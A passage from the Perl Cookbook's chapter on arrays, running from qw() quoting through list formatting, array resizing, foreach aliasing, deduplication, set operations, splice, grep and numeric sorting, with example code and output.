All quoting operators behave like regular expression matches, in that you can select your quote delimiters, including paired brackets. All four kinds of brackets (angle, square, curly, and round ones) nest properly. That means you can easily use parentheses or braces (or the other two) without fear, provided that they match up:

@brax   = qw! ( ) < > { } [ ] !;
@rings  = qw(Nenya Narya Vilya);
@tags   = qw<LI TABLE TR TD A IMG H1 P>;
@sample = qw(The vertical bar (|) looks and behaves like a pipe.);

If you don't want to change the quoting character, use a backslash to escape the delimiter in the string:

@banner = qw|The vertical bar (\|) looks and behaves like a pipe.|;

You may only use qw() when each separate, space-separated component is an element in the return list. Be careful not to give Columbus four ships instead of three:

@ships  = qw(Ni觓 Pinta Santa Mar蝍);               # WRONG
@ships  = ('Ni觓', 'Pinta', 'Santa Mar蝍');         # right

See Also

The "List Value Constructors" section of perldata (1); the "List Values and Arrays" section of Chapter 2 of Programming Perl; the "Quote and Quote-Like Operators" section of perlop (1); the s/// operator in perlop (1) and Chapter 2 of Programming Perl

Previous: 4.0. Introduction | Perl Cookbook | Next: 4.2. Printing a List with Commas
4.0. Introduction | Book Index | 4.2. Printing a List with Commas


Recipe 4.2. Printing a List with Commas

Perl CookbookSearch this book

4.2. Printing a List with Commas

Problem

You'd like to print out a list with an unknown number of elements with an "and" before the last element, and with commas between each element if there are more than two.

Solution

Use this function, which returns the formatted string:

sub commify_series {
    (@_ == 0) ? ''                                      :
    (@_ == 1) ? $_[0]                                   :
    (@_ == 2) ? join(" and ", @_)                       :
                join(", ", @_[0 .. ($#_-1)], "and $_[-1]");
}

Discussion

It often looks odd to print out arrays:

@array = ("red", "yellow", "green");
print "I have ", @array, " marbles.\n";
print "I have @array marbles.\n";
I have redyellowgreen marbles.
I have red yellow green marbles.

What you really want it to say is, "I have red, yellow, and green marbles". The function given in the solution generates strings in that format. The word "and" is placed between the last two list elements. If there are more than two elements in the list, a comma is placed between every element.

Example 4.1 gives a complete demonstration of the function, with one addition: If any element in the list already contains a comma, a semi-colon is used for the separator character instead.

Example 4.1: commify_series (continued)

#!/usr/bin/perl -w
# commify_series - show proper comma insertion in list output

@lists = (
    [ 'just one thing' ],
    [ qw(Mutt Jeff) ],
    [ qw(Peter Paul Mary) ],
    [ 'To our parents', 'Mother Theresa', 'God' ],
    [ 'pastrami', 'ham and cheese', 'peanut butter and jelly', 'tuna' ],
    [ 'recycle tired, old phrases', 'ponder big, happy thoughts' ],
    [ 'recycle tired, old phrases',
      'ponder big, happy thoughts',
      'sleep and dream peacefully' ],
    );

foreach $aref (@lists) {
    print "The list is: " . commify_series(@$aref) . ".\n";
}

sub commify_series {
    my $sepchar = grep(/,/ => @_) ? ";" : ",";
    (@_ == 0) ? ''                                      :
    (@_ == 1) ? $_[0]                                   :
    (@_ == 2) ? join(" and ", @_)                       :
                join("$sepchar ", @_[0 .. ($#_-1)], "and $_[-1]");
}

Here's the output from the program:

The list is: just one thing.
The list is: Mutt and Jeff.
The list is: Peter, Paul, and Mary.
The list is: To our parents, Mother Theresa, and God.
The list is: pastrami, ham and cheese, peanut butter and jelly, and tuna.
The list is: recycle tired, old phrases and ponder big, happy thoughts.
The list is: recycle tired, old phrases; ponder
   big, happy thoughts; and sleep and dream peacefully.

As you see, we don't follow the ill-advised practice of omitting the final comma from a series under any circumstances. To do so introduces unfortunate ambiguities and unjustifiable exceptions. The examples above would have claimed that we were the offspring of Mother Theresa and God, and would have had us eating sandwiches made of jelly and tuna fish fixed together atop the peanut butter.

See Also

Fowler's Modern English Usage; we explain the nested list syntax in Recipe 11.1; the grep function in perlfunc (1) and Chapter 3 of Programming Perl; the conditional operator ("?:") is discussed in perlop (1) and in the "Conditional Operator" section of Chapter 2 of Programming Perl

Previous: 4.1. Specifying a List In Your Program | Perl Cookbook | Next: 4.3. Changing Array Size
4.1. Specifying a List In Your Program | Book Index | 4.3. Changing Array Size


Recipe 4.3. Changing Array Size

Perl CookbookSearch this book

4.3. Changing Array Size

Problem

You want to enlarge or truncate an array. For example, you might truncate an array of employees that's already sorted by salary to list the five highest-paid employees. Or, if you know how big your array will get and that it will grow piecemeal, it's more efficient to get memory for it in one step by enlarging it just once than it is to keep pushing values onto the end.

Solution

Assign to $#ARRAY:

# grow or shrink @ARRAY
$#ARRAY = $NEW_LAST_ELEMENT_INDEX_NUMBER;

Assigning to an element past the end automatically extends the array:

$ARRAY[$NEW_LAST_ELEMENT_INDEX_NUMBER] = $VALUE;

Discussion

$#ARRAY is the number of the last valid index in @ARRAY. If we assign it a number smaller than its current value, we truncate the array. Truncated elements are lost forever. If we assign $#ARRAY a number larger than its current value, the array grows. New elements have the undefined value.

$#ARRAY is not @ARRAY, though. Although $#ARRAY is the last valid index in the array, @ARRAY (in scalar context, as when treated as a number) is the number of elements. $#ARRAY is one less than @ARRAY because array indices start at 0.

Here's some code that uses both:

sub what_about_that_array {
    print "The array now has ", scalar(@people), " elements.\n";
    print "The index of the last element is $#people.\n";
    print "Element #3 is `$people[3]'.\n";
}

@people = qw(Crosby Stills Nash Young);
what_about_that_array();

prints:

The array now has 4 elements.
The index of the last element is 3.
Element #3 is `Young'.

whereas:

$#people--;
what_about_that_array();

prints:

The array now has 3 elements.
The index of the last element is 2.
Element #3 is `'.

Element #3 disappeared when we shortened the array. If we'd used the -w flag on this program, Perl would also have warned "use of uninitialized value" because $people[3] is undefined.

$#people = 10_000;
what_about_that_array();

prints:

The array now has 10001 elements.
The index of the last element is 10000.
Element #3 is `'.

The "Young" element is now gone forever. Instead of assigning to $#people, we could have said:

$people[10_000] = undef;

Perl arrays are not sparse. In other words, if you have a 10,000th element, you must have the 9,999 other elements, too. They may be undefined, but they still take up memory. For this reason, $array[time], or any other construct that uses a very large integer as an array index, is a bad idea. Use a hash instead.

We have to say scalar @array in the print because Perl gives list context to (most) functions' arguments, but we want @array in scalar context.

See Also

The discussion of the $#ARRAY notation in perldata (1), also explained in the "List Values and Arrays" section of Chapter 2 of Programming Perl

Previous: 4.2. Printing a List with Commas | Perl Cookbook | Next: 4.4. Doing Something with Every Element in a List
4.2. Printing a List with Commas | Book Index | 4.4. Doing Something with Every Element in a List


Recipe 4.4. Doing Something with Every Element in a List

Perl CookbookSearch this book

4.4. Doing Something with Every Element in a List

Problem

You want to repeat a procedure for every element in a list.

Often you use an array to collect information you're interested in; for instance, login names of users who have exceeded their disk quota. When you finish collecting the information, you want to process it by doing something with every element in the array. In the disk quota example, you might send each user a stern mail message.

Solution

Use a foreach loop:

foreach $item (LIST) {
    # do something with $item
}

Discussion

Let's say we've used @bad_users to compile a list of users over their allotted disk quota. To call some complain() subroutine for each one we'd use:

foreach $user (@bad_users) {
        complain($user);
}

Rarely is this recipe so simply applied. Instead, we often use functions to generate the list:

foreach $var (sort keys %ENV) {
    print "$var=$ENV{$var}\n";
}

Here we're using sort and keys to build a sorted list of environment variable names. In situations where the list will be used more than once, you'll obviously keep it around by saving in an array. But for one-shot processing, it's often tidier to process the list directly.

Not only can we add complexity to this formula by building up the list in the foreach, we can also add complexity by doing more work inside the code block. A common application of foreach is to gather information on every element of a list, and then decide (based on that information) whether to do something. For instance, returning to the disk quota example:

foreach $user (@all_users) {
    $disk_space = get_usage($user);     # find out how much disk space in use
    if ($disk_space > $MAX_QUOTA) {     # if it's more than we want ...
        complain($user);                # ... then object vociferously
    }
}

More complicated program flow is possible. The code can call last to jump out of the loop, next to move on to the next element, or redo to jump back to the first statement inside the block. Use these to say "no point continuing with this one, I know it's not what I'm looking for" (next), "I've found what I'm looking for, there's no point in my checking the rest" (last), or "I've changed some things, I'd better do my tests and calculations again" (redo).

The variable set to each value in the list is called a loop variable or iterator variable. If no iterator variable is supplied, the global variable $_ is used. $_ is the default variable for many of Perl's string, list, and file functions. In brief code blocks, omitting $_ improves readability. (In long ones, though, too much implicit use hampers readability.) For example:

foreach (`who`) {
    if (/tchrist/) {
        print;
    }
}

or combining with a while loop:

while (<FH>) {              # $_ is set to the line just read
    chomp;                  # $_ has a trailing \n removed, if it had one
    foreach (split) {       # $_ is split on whitespace, into @_
                            # then $_ is set to each chunk in turn
        $_ = reverse;       # the characters in $_ are reversed
        print;              # $_ is printed
    }
}

Perhaps all these uses of $_ are starting to make you nervous. In particular, the foreach and the while both give values to $_. You might fear that at the end of the foreach, the full line as read into $_ with <FH> would be forever gone.

Fortunately, your fears would be unfounded, at least in this case. Perl won't permanently clobber $_'s old value, because the foreach's iterator variable ($_ in this case) is automatically preserved during the loop. It saves away any old value on entry and restores it upon exit.

There is cause for some concern though. If the while had been the inner loop and the foreach the outer one, then your fears would have been realized. Unlike a foreach loop, the while <FH> construct clobbers the value of the global $_ without first localizing it! So any routine - or block for that matter - that uses such a construct with $_ should always declare local $_ at its front.

If a lexical variable (one declared with my) is in scope, the temporary variable will be lexically scoped, private to that loop. Otherwise, it will be a dynamically scoped global variable. To avoid strange magic at a distance, as of release 5.004 you can write this more obviously and more clearly as:

foreach my $item (@array) {
    print "i = $item\n";
}

The foreach looping construct has another feature: each time through the loop, the iterator variable becomes not a copy of but rather an alias for the current element. This means that when you change that iterator variable, you really change each element in the list:

@array = (1,2,3);
foreach $item (@array) {
    $item--;
}
print "@array\n";
0 1 2

# multiply everything in @a and @b by seven
@a = ( .5, 3 ); @b =( 0, 1 );
foreach $item (@a, @b) {
    $item *= 7;
}
print "@a @b\n";
3.5 21 0 7

This aliasing means that using a foreach loop to modify list values is both more readable and faster than the equivalent code using a three-part for loop and explicit indexing would be. This behavior is a feature, not a bug, that was introduced by design. If you didn't know about it, you might accidentally change something. Now you know about it.

For example, if we used s/// on elements of the list returned by the values function, we would only be changing copies, not the real hash itself. The hash slice (@hash{keys %hash} is a hash slice, explained in Chapter 5, Hashes), however, gives us something we can usefully change:

# trim whitespace in the scalar, the array, and all the values
# in the hash
foreach ($scalar, @array, @hash{keys %hash}) {
    s/^\s+//;
    s/\s+$//;
}

For reasons hearkening back to the equivalent construct in the Unix Bourne shell, the for and foreach keywords are interchangeable:

for $item (@array) {  # same as foreach $item (@array)
    # do something
}

for (@array)      {   # same as foreach $_ (@array)
    # do something
}

This style often indicates that its author writes or maintains shell scripts, perhaps for Unix systems administration. As such, their life is probably hard enough, so don't speak too harshly of them. Remember, TMTOWTDI. This is just one of those ways.

If you aren't fluent in Bourne shell, you might find it clearer to express "for each $thing in this @list," by saying foreach to make your code less like the shell and more like English. (But don't try to make your English look like your code!)

See Also

The "For Loops," "Foreach Loops," and "Loop Control" sections of perlsyn (1) and Chapter 2 of Programming Perl; the "Temporary Values via local( )" section of perlsub (1); the "Scoped Declarations" section of Chapter 2 of Programming Perl; we talk about local() in Recipe 10.13; we talk about my() in Recipe 10.2

Previous: 4.3. Changing Array Size | Perl Cookbook | Next: 4.5. Iterating Over an Array by Reference
4.3. Changing Array Size | Book Index | 4.5. Iterating Over an Array by Reference


Recipe 4.5. Iterating Over an Array by Reference

Perl CookbookSearch this book

4.5. Iterating Over an Array by Reference

Problem

You have a reference to an array, and you want to use foreach to work with the array's elements.

Solution

Use foreach or for to loop over the dereferenced array:

# iterate over elements of array in $ARRAYREF
foreach $item (@$ARRAYREF) {
    # do something with $item
}

for ($i = 0; $i <= $#$ARRAYREF; $i++) {
    # do something with $ARRAYREF->[$i]
}

Discussion

The solutions assume you have a scalar variable containing the array reference. This lets you do things like this:

@fruits = ( "Apple", "Blackberry" );
$fruit_ref = \@fruits;
foreach $fruit (@$fruit_ref) {
    print "$fruit tastes good in a pie.\n";
}
Apple tastes good in a pie.
Blackberry tastes good in a pie.

We could have rewritten the foreach loop as a for loop like this:

for ($i=0; $i <= $#$fruit_ref; $i++) {
    print "$fruit_ref->[$i] tastes good in a pie.\n";
}

Frequently, though, the array reference is the result of a more complex expression. You need to use the @{ EXPR } notation to turn the result of the expression back into an array:

$namelist{felines} = \@rogue_cats;
foreach $cat ( @{ $namelist{felines} } ) {
    print "$cat purrs hypnotically..\n";
}
print "--More--\nYou are controlled.\n";

Again, we can replace the foreach with a for loop:

for ($i=0; $i <= $#{ $namelist{felines} }; $i++) {
    print "$namelist{felines}[$i] purrs hypnotically.\n";
}

See Also

perlref (1) and perllol (1); Chapter 4 of Programming Perl; Recipe 11.1; Recipe 4.4

Previous: 4.4. Doing Something with Every Element in a List | Perl Cookbook | Next: 4.6. Extracting Unique Elements from a List
4.4. Doing Something with Every Element in a List | Book Index | 4.6. Extracting Unique Elements from a List


Recipe 4.6. Extracting Unique Elements from a List

Perl CookbookSearch this book

4.6. Extracting Unique Elements from a List

Problem

You want to eliminate duplicate values from a list, such as when you build the list from a file or from the output of another command. This recipe is equally applicable to removing duplicates as they occur in input and to removing duplicates from an array you've already populated.

Solution

Use a hash to record which items have been seen, then keys to extract them. You can use Perl's idea of truth to shorten and speed up your code.

Straightforward

%seen = ();
@uniq = ();
foreach $item (@list) {
    unless ($seen{$item}) {
        # if we get here, we have not seen it before
        $seen{$item} = 1;
        push(@uniq, $item);
    }
}

Faster

%seen = ();
foreach $item (@list) {
    push(@uniq, $item) unless $seen{$item}++;
}

Similar but with user function

%seen = ();
foreach $item (@list) {
    some_func($item) unless $seen{$item}++;
}

Faster but different

%seen = ();
foreach $item (@list) {
    $seen{$item}++;
}
@uniq = keys %seen;

Faster and even more different

%seen = ();
@uniqu = grep { ! $seen{$_} ++ } @list;

Discussion

The question at the heart of the matter is "Have I seen this element before?" Hashes are ideally suited to such lookups. The first technique ("Straightforward") builds up the array of unique values as we go along, using a hash to record whether something is already in the array.

The second technique ("Faster") is the most natural way to write this sort of thing in Perl. It creates a new entry in the hash every time it sees an element that hasn't been seen before, using the ++ operator. This has the side effect of making the hash record the number of times the element was seen. This time we only use the hash for its property of working like a set.

The third example ("Similar but with user function") is similar to the second but rather than storing the item away, we call some user-defined function with that item as its argument. If that's all we're doing, keeping a spare array of those unique values is unnecessary.

The next mechanism ("Faster but different") waits until it's done processing the list to extract the unique keys from the %seen hash. This may be convenient, but the original order has been lost.

The final approach, ("Faster and even more different") merges the construction of the %seen hash with the extraction of unique elements. This preserves the original order of elements.

Using a hash to record the values has two side effects: processing long lists can take a lot of memory and the list returned by keys is not in alphabetical, numeric, or insertion order.

Here's an example of processing input as it is read. We use `who` to gather information on the current user list, and then we extract the username from each line before updating the hash:

# generate a list of users logged in, removing duplicates
%ucnt = ();
for (`who`) {
    s/\s.*\n//;   # kill from first space till end-of-line, yielding username
    $ucnt{$_}++;  # record the presence of this user
}
# extract and print unique keys
@users = sort keys %ucnt;
print "users logged in: @users\n";

See Also

The "Foreach Loops" section of perlsyn (1) and Chapter 2 of Programming Perl; the keys function in perlfunc (1) and Chapter 3 of Programming Perl; the "Hashes (Associative Arrays)" section of Chapter 2 of Programming Perl; Chapter 5; we use hashes in a similar fashion in Recipe 4.7 and Recipe 4.8

Previous: 4.5. Iterating Over an Array by Reference | Perl Cookbook | Next: 4.7. Finding Elements in One Array but Not Another
4.5. Iterating Over an Array by Reference | Book Index | 4.7. Finding Elements in One Array but Not Another


Recipe 4.7. Finding Elements in One Array but Not Another

Perl CookbookSearch this book

4.7. Finding Elements in One Array but Not Another

Problem

You want to find elements that are in one array but not another.

Solution

You want to find elements in @A that aren't in @B. Build a hash of the keys of @B to use as a lookup table. Then check each element in @A to see if it is in @B.

Straightforward implementation

# assume @A and @B are already loaded
%seen = ();                  # lookup table to test membership of B
@aonly = ();                 # answer

# build lookup table
foreach $item (@B) { $seen{$item} = 1 }

# find only elements in @A and not in @B
foreach $item (@A) {
    unless ($seen{$item}) {
        # it's not in %seen, so add to @aonly
        push(@aonly, $item);
    }
}

More idiomatic version

my %seen; # lookup table
my @aonly;# answer

# build lookup table
@seen{@B} = ();

foreach $item (@A) {
    push(@aonly, $item) unless exists $seen{$item};
}

Discussion

As with nearly any problem in Perl that asks whether a scalar is in one list or another, this one uses a hash. First, process @B so that the %seen hash records each element from @B by setting its value to 1. Then process @A one element at a time, checking whether that particular element had been in @B by consulting the %seen hash.

The given code retains duplicate elements in @A . This can be easily fixed by adding the elements of @A to %seen as they are processed:

foreach $item (@A) {
    push(@aonly, $item) unless $seen{$item};
    $seen{$item} = 1;                       # mark as seen
}

The two solutions differ mainly in how they build the hash. The first iterates through @B. The second uses a hash slice to initialize the hash. A hash slice is easiest illustrated by example:

$hash{"key1"} = 1;
$hash{"key2"} = 2;

is equivalent to:

@hash{"key1", "key2"} = (1,2);

The list in the curly braces holds the keys; the list on the right holds the values. We initialize %seen in the first solution by looping over each element in @B and setting the appropriate value of %seen to 1. In the second, we simply say:

@seen{@B} = ();

This uses items in @B as keys for %seen, setting each corresponding value to undef, because there are fewer values on the right than places to put them. This works out here because we check for existence of the key, not logical truth or definedness of the value. If we needed true values, a slice could still shorten our code:

@seen{@B} = (1) x @B;

See Also

Hash slices are explained in perldata (1) and the "Variables" section of Chapter 2 of Programming Perl; Chapter 5; we use hashes in a similar fashion in Recipe 4.6 and Recipe 4.8

Previous: 4.6. Extracting Unique Elements from a List | Perl Cookbook | Next: 4.8. Computing Union, Intersection, or Difference of Unique Lists
4.6. Extracting Unique Elements from a List | Book Index | 4.8. Computing Union, Intersection, or Difference of Unique Lists


Recipe 4.8. Computing Union, Intersection, or Difference of Unique Lists

Perl CookbookSearch this book

4.8. Computing Union, Intersection, or Difference of Unique Lists

Problem

You have a pair of lists, each having unduplicated items. You'd like to find out which items are in both lists (intersection), one but not the other (difference), or either (union).

Solution

The following solutions need the listed initializations:

@a = (1, 3, 5, 6, 7, 8);
@b = (2, 3, 5, 7, 9);

@union = @isect = @diff = ();
%union = %isect = ();
%count = ();

Simple solution for union and intersection

foreach $e (@a) { $union{$e} = 1 }

foreach $e (@b) {
    if ( $union{$e} ) { $isect{$e} = 1 }
    $union{$e} = 1;
}
@union = keys %union;
@isect = keys %isect;

More idiomatic version

foreach $e (@a, @b) { $union{$e}++ && $isect{$e}++ }

@union = keys %union;
@isect = keys %isect;

Union, intersection, and symmetric difference

foreach $e (@a, @b) { $count{$e}++ }

foreach $e (keys %count) {
    push(@union, $e);
    if ($count{$e} == 2) {
        push @isect, $e;
    } else {
        push @diff, $e;
    }
}

Indirect solution

@isect = @diff = @union = ();

foreach $e (@a, @b) { $count{$e}++ }

foreach $e (keys %count) {
    push(@union, $e);
    push @{ $count{$e} == 2 ? \@isect : \@diff }, $e;
}

Discussion

The first solution most directly computes the union and intersection of two lists, neither containing duplicates. Two different hashes are used to record whether a particular item goes in the union or the intersection. We first put every element of the first array in the union hash, giving it a true value. Then processing each element of the second array, we check whether that element is already present in the union. If it is, then we put it in the intersection as well. In any event, it is put into the union. When we're done, we extract the keys of both the union and intersection hashes. The values aren't needed.

The second solution ("More idiomatic version") is essentially the same but relies on familiarity with the Perl (and awk, C, C++, and Java) ++ and && operators. By placing the ++ after the variable, we first look at its old value before incrementing it. The first time through it won't be in the union, which makes the first part of the && false, and the second part is consequently ignored. The second time that we encounter the same element, it's already present in the union, so we put it in the intersection as well.

The third solution uses just one hash to track how many times each element has been seen. Once both arrays have their elements recorded in the hash, we process those hash keys one at a time. If it's there, it goes in the union array. Keys whose values are 2 were in both arrays, so they are put in the intersection array. Keys whose values are 1 were in just one of the two arrays, so they are put in the difference array. The elements of the output arrays are not in the same order as the elements in the input arrays.

The last solution, like the previous one, uses just one hash to count how many times each element has been encountered. However, this time we choose the array within the @{ .... } block.

We compute the symmetric difference here, not the simple difference. These are set theoretic terms. A symmetric difference is the set of all the elements that are members of either @A or @B, but not of both. A simple difference is the set of members of @A but not of @B, which we calculated in Recipe 4.7.

See Also

The "Hashes (Associative Arrays)" section of Chapter 2 of Programming Perl; Chapter 5; we use hashes in a similar fashion in Recipe 4.6 and Recipe 4.7

Previous: 4.7. Finding Elements in One Array but Not Another | Perl Cookbook | Next: 4.9. Appending One Array to Another
4.7. Finding Elements in One Array but Not Another | Book Index | 4.9. Appending One Array to Another


Recipe 4.9. Appending One Array to Another

Perl CookbookSearch this book

4.9. Appending One Array to Another

Problem

You want to join two arrays by appending all the elements of one to the end of the other.

Solution

Use push:

# push
push(@ARRAY1, @ARRAY2);

Discussion

The push function is optimized for appending a list to the end of an array. You can take advantage of Perl's list flattening to join two arrays, but it results in significantly more copying than push:

@ARRAY1 = (@ARRAY1, @ARRAY2);

Here's an example of push in action:

@members = ("Time", "Flies");
@initiates = ("An", "Arrow");
push(@members, @initiates);
# @members is now ("Time", "Flies", "An", "Arrow")

If you want to insert the elements of one array into the middle of another, use the splice function:

splice(@members, 2, 0, "Like", @initiates);
print "@members\n";
splice(@members, 0, 1, "Fruit");
splice(@members, -2, 2, "A", "Banana");
print "@members\n";

This is output:

Time Flies Like An Arrow
Fruit Flies Like A Banana

See Also

The splice and push functions in perlfunc (1) and Chapter 3 of Programming Perl; the "List Values and Arrays" section of Chapter 2 of Programming Perl; the "List Value Constructors" section of perldata (1)

Previous: 4.8. Computing Union, Intersection, or Difference of Unique Lists | Perl Cookbook | Next: 4.10. Reversing an Array
4.8. Computing Union, Intersection, or Difference of Unique Lists | Book Index | 4.10. Reversing an Array


Recipe 4.10. Reversing an Array

Perl CookbookSearch this book

4.10. Reversing an Array

Problem

You want to reverse an array.

Solution

Use the reverse function:

# reverse @ARRAY into @REVERSED
@REVERSED = reverse @ARRAY;

Or use a for loop:

for ($i = $#ARRAY; $i >= 0; $i--) {
    # do something with $ARRAY[$i]
}

Discussion

The reverse function actually reverses a list; the for loop simply processes the list in reverse order. If you don't need a reversed copy of the list, for saves memory and time.

If you're using reverse to reverse a list that you just sorted, you should have sorted it in the correct order to begin with. For example:

# two-step: sort then reverse
@ascending = sort { $a cmp $b } @users;
@descending = reverse @ascending;

# one-step: sort with reverse comparison
@descending = sort { $b cmp $a } @users;

See Also

The reverse function in perlfunc (1) and Chapter 3 of Programming Perl; we use reverse in Recipe 1.6

Previous: 4.9. Appending One Array to Another | Perl Cookbook | Next: 4.11. Processing Multiple Elements of an Array
4.9. Appending One Array to Another | Book Index | 4.11. Processing Multiple Elements of an Array


Recipe 4.11. Processing Multiple Elements of an Array

Perl CookbookSearch this book

4.11. Processing Multiple Elements of an Array

Problem

You want to pop or shift multiple elements at a time.

Solution

Use splice:

# remove $N elements from front of @ARRAY (shift $N)
@FRONT = splice(@ARRAY, 0, $N);

# remove $N elements from the end of the array (pop $N)
@END = splice(@ARRAY, -$N);

Discussion

It's often convenient to wrap these as functions:

sub shift2 (\@) {
    return splice(@{$_[0]}, 0, 2);
}

sub pop2 (\@) {
    return splice(@{$_[0]}, -2);
}

This makes their behavior more apparent when you use them:

@friends = qw(Peter Paul Mary Jim Tim);
($this, $that) = shift2(@friends);
# $this contains Peter, $that has Paul, and
# @friends has Mary, Jim, and Tim

@beverages = qw(Dew Jolt Cola Sprite Fresca);
@pair = pop2(@beverages);
# $pair[0] contains Sprite, $pair[1] has Fresca,
# and @beverages has (Dew, Jolt, Cola)

splice returns the elements removed from the array, so shift2 replaces the first two elements in @ARRAY with nothing (i.e., deletes them) and returns the two elements it deleted. In pop2, the last two elements at end of the array are removed and returned.

These two functions are prototyped to take an array reference as their argument to better mimic the built-in shift and pop functions. The caller doesn't pass in an explicit reference using a backslash. Instead, the compiler, having seen the array reference prototype, arranges to pass the array by reference anyway. Advantages to this approach include efficiency, transparency, and compile-time parameter checking. One disadvantage is that the thing passed in must look like a real array with a leading @ sign, not just a scalar containing an array reference. If it did, you'd have to prepend an @, making it less transparent:

$line[5] = \@list;
@got = pop2( @{ $line[5] } );

This is another example of where a proper array and not a mere list is called for. The \@ prototype requires that whatever goes in that argument slot be an array. $line[5] isn't an array, but an array reference. That's why we need the "extra" @ sign.

See Also

The splice function in perlfunc (1) and Chapter 3 of Programming Perl; the "Prototypes" sections of perlsub (1) and Chapter 2 of Programming Perl; we use splice in Recipe 4.9

Previous: 4.10. Reversing an Array | Perl Cookbook | Next: 4.12. Finding the First List Element That Passes a Test
4.10. Reversing an Array | Book Index | 4.12. Finding the First List Element That Passes a Test


Recipe 4.12. Finding the First List Element That Passes a Test

Perl CookbookSearch this book

4.12. Finding the First List Element That Passes a Test

Problem

You want the first element in the list (or its index) that passes a test. Alternatively, you want to know whether any element passes the test. The test can be simple identity ("Is this element in the list?")[1] or more complex ("I have a list of Employee objects, sorted from highest salary to lowest. Which manager has the highest salary?"). Simple cases normally only require the value of the element, but when the array itself will be altered, you probably need to know the index number of the first matching element.

[1] But why didn't you use a hash then?

Solution

To find a matching value, use foreach to loop over every element, and call last as soon as you find a match:

my($match, $found, $item);
foreach $item (@array) {
    if ($criterion) {
        $match = $item;  # must save
        $found = 1;
        last;
    }
}
if ($found) {
    ## do something with $match
} else {
    ## unfound
}

To find a matching index, use for to loop a variable over every array index, and call last as soon as you find a match:

my($i, $match_idx);
for ($i = 0; $i < @array; $i++) {
    if ($criterion) {
        $match_idx = $i;    # save the index
        last;
    }
}

if (defined $match_idx) {
    ## found in $array[$match_idx]
} else {
    ## unfound
}

Discussion

Not having a built-in mechanism to do this, we must write our own code to go through the list and test each element. We use foreach and for and call last to ensure that we stop as soon as we find a match. Before we use last to stop looking, though, we save the value or index.

A common mistake is to try to use grep here. The problem is that grep always tests all elements and finds all matches, so it's inefficient if you only want the first match.

We have to set $match when we want the value of the first matching element. We can't just test $item at the end of the loop, because foreach automatically localizes the iterator variable and this prevents us from getting to its last loop value after the loop ends. See Recipe 4.4.

Here's an example. Assume that @employees has a list of Employee objects, sorted in descending order by salary. We wish to find out the highest paid engineer, who will be the first engineer in the array. We only want to print the engineer's name, so we want the value, not the index.

foreach $employee (@employees) {
    if ( $employee->category() eq 'engineer' ) {
        $highest_engineer = $employee;
        last;
    }
}
print "Highest paid engineer is: ", $highest_engineer->name(), "\n";

When we're searching and only want the index, we can save some code by remembering that $i will not be an acceptable array index if we don't find a match. This mainly saves us code space, as not doing an assignment doesn't really win us much compared to the time we'll have spent testing the list elements. It's more obscure, because it tests if ($i < @ARRAY) to check whether we found a match, instead of the more obvious defined test as in the previous Solution.

for ($i = 0; $i < @ARRAY; $i++) {
    last if $criterion;
}
if ($i < @ARRAY) {
    ## found and $i is the index
} else {
    ## not found
}

See Also

The "For Loops," "Foreach Loops," and "Loop Control" sections of perlsyn (1) and Chapter 2 of Programming Perl; the grep function in perlfunc (1) and Chapter 3 of Programming Perl

Previous: 4.11. Processing Multiple Elements of an Array | Perl Cookbook | Next: 4.13. Finding All Elements in an Array Matching Certain Criteria
4.11. Processing Multiple Elements of an Array | Book Index | 4.13. Finding All Elements in an Array Matching Certain Criteria


Recipe 4.13. Finding All Elements in an Array Matching Certain Criteria

Perl CookbookSearch this book

4.13. Finding All Elements in an Array Matching Certain Criteria

Problem

From a list, you want only the elements that match certain criteria.

This notion of extracting a subset of a larger list is common. It's how you find all engineers in a list of employees, all users in the "staff " group, and all the filenames you're interested in.

Solution

Use grep to apply a condition to all elements in the list and return only those for which the condition was true:

@MATCHING = grep { TEST ($_) } @LIST;

Discussion

This could also be accomplished with a foreach loop:

@matching = ();
foreach (@list) {
    push(@matching, $_) if TEST ($_);
}

The Perl grep function is shorthand for all that looping and mucking about. It's not really like the Unix grep command; it doesn't have options to return line numbers or to negate the test, and it isn't limited to regular-expression tests. For example, to filter out just the large numbers from an array or to find out which keys in a hash have very large values:

@bigs = grep { $_ > 1_000_000 } @nums;
@pigs = grep { $users{$_} > 1e7 } keys %users;

Here's something that sets @matching to lines from the who command that start with "gnat ":

@matching = grep { /^gnat / } `who`;

Here's another example:

@engineers = grep { $_->position() eq 'Engineer' } @employees;

It extracts only those objects from the array @employees whose position() method returns the string Engineer.

You could have even more complex tests in a grep:

@secondary_assistance = grep { $_->income >= 26_000 &&
                               $_->income <  30_000 }
                        @applicants;

But at that point you may decide it would be more legible to write a proper loop instead.

See Also

The "For Loops," "Foreach Loops," and "Loop Control" sections of perlsyn (1) and Chapter 2 of Programming Perl; the grep function in perlfunc (1) and Chapter 3 of Programming Perl; your system's who (1) manpage, if it exists; Recipe 4.12

Previous: 4.12. Finding the First List Element That Passes a Test | Perl Cookbook | Next: 4.14. Sorting an Array Numerically
4.12. Finding the First List Element That Passes a Test | Book Index | 4.14. Sorting an Array Numerically


Recipe 4.14. Sorting an Array Numerically

Perl CookbookSearch this book

4.14. Sorting an Array Numerically

Problem

You want to sort a list of numbers, but Perl's sort (by default) sorts alphabetically in ASCII order.

Solution

Use Perl's sort function and the <=> numerical comparison operator:

@sorted = sort { $a <=> $b } @unsorted;

Discussion

The sort function takes an optional code block, which lets you replace the default alphabetic comparison subroutine with your own. This comparison function is called each time sort has to compare two values. The values to compare are loaded into the special package variables $a and $b, which are automatically localized.

The comparison function should return a negative number if $a ought to appear before $b in the output list, 0 if they're the same and their order doesn't matter, or a positive number if $a ought to appear after $b. Perl has two operators that behave this way: <=> for sorting numbers in ascending numeric order, and cmp for sorting strings in ascending alphabetic order. By default, sort uses cmp-style comparisons.

Here's code that sorts the list of PIDs in @pids, lets the user select one, then sends it a TERM signal followed by a KILL signal. We use a code block that compares $a to $b with <=> to sort numerically:

# @pids is an unsorted array of process IDs
foreach my $pid (sort { $a <=> $b } @pids) {
    print "$pid\n";
}
print "Select a process ID to kill:\n";
chomp ($pid = <>);
die "Exiting ... \n" unless $pid && $pid =~ /^\d+$/;
kill('TERM',$pid);
sleep 2;
kill('KILL',$pid);

If you use $a <=> $b or $a cmp $b, the list will be sorted in ascending order. For a descending sort, all we have to do is swap $a and $b in the sort subroutine:

@descending = sort { $b <=> $a } @unsorted;

Comparison routines must be consistent; that is, they should always return the same answer when called with the same values. Inconsistent comparison routines lead to infinite loops or core dumps, especially in older releases of Perl.

You can also say sort SUBNAME LIST where SUBNAME is the name of a comparison subroutine returning -1, 0, or +1. In the interests of speed, the normal calling conventions are bypassed, and the values to be compared magically appear for the duration of the subroutine in the global package variables $a and $b. Because of the odd way Perl calls this subroutine, it may not be recursive.
